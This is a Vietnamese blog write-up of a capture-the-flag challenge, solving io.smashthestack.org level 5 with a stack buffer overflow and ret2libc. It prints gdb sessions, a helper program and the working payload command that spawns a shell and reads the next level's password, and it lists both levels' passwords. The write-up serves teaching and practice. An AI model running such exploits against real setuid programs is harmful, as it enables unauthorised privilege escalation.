Writeup CTF: io.smashthestack.org level 05

Avatar
-
Chào các bạn, gần đây phong trào CTF đang được nhiều đơn vị, cơ quan, trường đại học quan tâm và thường xuyên tổ chức. Bắt đầu tư hôm nay, mình sẽ đưa các bài writeup về CTF mà mình đã làm và vượt qua, hi vọng có thể giúp một số bạn mới tham gia vào CTF có thêm kinh nghiệm khi tham gia chơi CTF. Một trò chơi rất thích hợp để nâng cao khả năng và trình độ thực hành trong ngành an toàn thông tin. Bài đầu tiên mình sẽ writeup về một challenge trên io.smashthestack.org, đây là CTF chuyên về khai thác lỗi phần mềm dạng “local exploit”. Đây là bài CTF level 5 trên trang io.smashthestack.org. Để truy cập vào CTF này ta SSH đến máy chủ theo thông tin sau:
level5@io.smashthestack.org Mật khẩu: KGpWsju2vDpmxcxlvm
Tuy nhiên, bạn cũng có thể bắt đầu lại từ Level1 củio.smashthestack.org, sẽ cung cấp các kiến thức cho bạn để hiểu hơn về các dạng “local exploit” khác.
level5@io:~$ cd /levels/ level5@io:/levels$ ./level05 level5@io:/levels$ cat level05.c #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buf[128]; if(argc < 2) return 1; strcpy(buf, argv[1]); printf(“%s\n”, buf); return 0; }
Chương trình bị lỗi tràn bộ đệm, khi ta input đầu vào buffer hơn 128 kí tự thì sẽ bị tràn bộ đệm
level5@io:/levels$ ls -n level05 -r-sr-x— 1 1006 1005 7140 Nov 16  2007 level05
Chương trình được set SGID nên ta có thể dùng nó để đọc .pass của level6. Ở đây, mình sẽ thực hiện bằng phương pháp ret2libc Việc đầu tiên trong ret2libc là kiếm địa chỉ của hàm system và exit trong libc
level5@io:/levels$ gdb level GNU gdb (GDB) 7.4.1-debian Copyright (C) 2012 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.  Type “show copying” and “show warranty” for details. This GDB was configured as “i486-linux-gnu”. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>… level: No such file or directory. (gdb) file level05 Reading symbols from /levels/level05…done. (gdb) break main Breakpoint 1 at 0x80483bd (gdb) p system No symbol “system” in current context. (gdb) r Starting program: /levels/level05 Breakpoint 1, 0x080483bd in main () (gdb) p system $1 = {<text variable, no debug info>} 0xb7eaaf10 <system> (gdb) p exit $2 = {<text variable, no debug info>} 0xb7e9e550 <exit> (gdb)
Hàm system có địa chỉ là 0xb7eaaf10 và hàm exit có địa chỉ là 0xb7e9e550. Có địa chỉ rồi, ta tiếp tục kiếm chuỗi “/bin/sh”. Có 2 cách để kiếm chuỗi “/bin/sh” là dùng memfetch và dùng biến môi trường. Ở bài này mình sẽ hướng dẫn dùng biến môi trường. Ta export 1 biến môi trường với tên:
level5@io:/tmp/pns2$ export BINSH=”/bin/sh”
Sau đó viết 1 chương trình nhỏ để lấy địa chỉ của biến môi trường (dùng con trỏ %p)
level5@io:/tmp/pns2$ cat ./getenv.c #include <stdio.h> #include <stdlib.h> int main() { char *path; path = getenv(“BINSH”); if(path) printf(“The current path is: %p\n”, path); return 0; }
Và lấy địa chỉ của biến môi trường
level5@io:/tmp/pns2$ ./getenv The current path is: 0xbfffff74
Lưu ý, biến môi trường sẽ thay đổi nếu path của tệp thay đổi, ví dụ:
level5@io:/tmp/pns2$ ./getenv The current path is: 0xbfffff74 level5@io:/tmp/pns2$ /tmp/pns2/getenv The current path is: 0xbfffff64 level5@io:/tmp/pns2$ cd /levels/ level5@io:/levels$ /tmp/pns2/getenv The current path is: 0xbfffff64 level5@io:/levels$ cd /tmp level5@io:/tmp$ ./pns2/getenv The current path is: 0xbfffff6a
Sau khi có đủ 3 điều kiện cần thiết (địa chỉ của system, exit và chuỗi “/bin/sh”) ta tiến hành exploit chương trình bằng phương pháp ret2libc. Trong stack, ta hình dung nó như thế này:
<địa chỉ hàm> <địa chỉ trả về> <tham số 1> <tham số 2> <tham số 3> ..
Vậy nên ta sẽ đưa vào lần lượt theo thứ tự: Địa chỉ hàm system => địa chỉ hàm exit => địa chỉ tham số chuỗi “/bin/sh”
“\x10\xaf\xea\xb7″+”\x50\xe5\xe9\xb7″+”\x74\xff\xff\xbf”
Chạy thử xem nào
Starting program: /levels/level05 `python -c ‘print “a”*140+”\x10\xaf\xea\xb7″+”\x50\xe5\xe9\xb7″+”\x74\xff\xff\xbf”‘` aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa¯ê·Påé·tÿÿ¿ sh-4.2$
Ok rồi, giờ mình chạy trên shell:
level5@io:/levels$ ./level05 `python -c ‘print “a”*140+”\x10\xaf\xea\xb7″+”\x50\xe5\xe9\xb7″+”\x74\xff\xff\xbf”‘` aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa¯ê·Påé·tÿÿ¿ sh: in/sh: No such file or directory
Tại sao lại thực thi lệnh “in/sh” mà không phải là “/bin/sh”? 2 kí tự “/b” đã đi đâu? Nãy mình có đề cập đến sự thay đổi địa chỉ trong biến môi trường. Đúng rồi, mình sẽ trừ giá trị địa chỉ của chuỗi “/bin/sh”
level5@io:/levels$ ./level05 `python -c ‘print “a”*140+”\x10\xaf\xea\xb7″+”\x50\xe5\xe9\xb7″+”\x72\xff\xff\xbf”‘` aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa¯ê·Påé·rÿÿ¿ sh-4.2$ cat /home/level6/.pass 9BT8fmYDTPimXXhY3m sh-4.2$
Kinh nghiệm rút ra từ CTF này là mỗi khi khai thác lỗi phần mềm, ta phải hiểu rõ về hệ thống đang khai thác (biến môi trường, debugger, kiến trúc hệ điều hành…).